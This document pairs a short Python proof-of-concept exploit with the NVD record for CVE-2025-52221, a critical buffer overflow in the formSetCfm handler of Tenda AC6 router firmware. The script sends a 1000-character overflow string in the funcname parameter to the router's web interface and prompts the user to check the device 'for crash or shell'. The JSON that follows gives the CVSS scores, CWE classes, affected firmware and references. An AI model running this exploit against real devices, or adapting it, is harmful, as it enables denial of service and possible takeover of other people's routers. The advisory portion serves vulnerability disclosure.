CVE-2025-52221

import requests # Target configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/formSetCfm" # Vulnerability details: Buffer Overflow in formSetCfm # Vulnerable parameters: funcname, funcpara1, funcpara2 # Payload construction: Long string to trigger the overflow padding = "A" * 1000 # Adjust length to exceed buffer size payload_data = { "funcname": padding, "funcpara1": "test", "funcpara2": "test" } try: print(f"Sending exploit payload to {target_url}...") response = requests.post(target_url, data=payload_data, timeout=5) if response.status_code == 200: print("Request sent successfully. Check device for crash or shell.") else: print(f"Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2025-52221", "sourceIdentifier": "[email protected]", "published": "2026-04-08T18:24:51.257", "lastModified": "2026-04-13T11:36:50.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AC6 15.03.05.16_multi is vulnerable to Buffer Overflow in the formSetCfm function via the funcname, funcpara1, and funcpara2 parameters."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac6_firmware:15.03.05.16_multi:*:*:*:*:*:*:*", "matchCriteriaId": "D0E5BB82-F2E3-4BB9-AE3C-267D3462CA96"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac6:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "B622BF6D-85E6-475A-B7FB-11BA1A641191"}]}]}], "references": [{"url": "https://github.com/faqiadegege/IoTVuln/blob/main/tendaAc6_formSetCfm_funcname_overflow/detail.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/xiaotea/iot-vulnerability-collection/blob/main/README.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}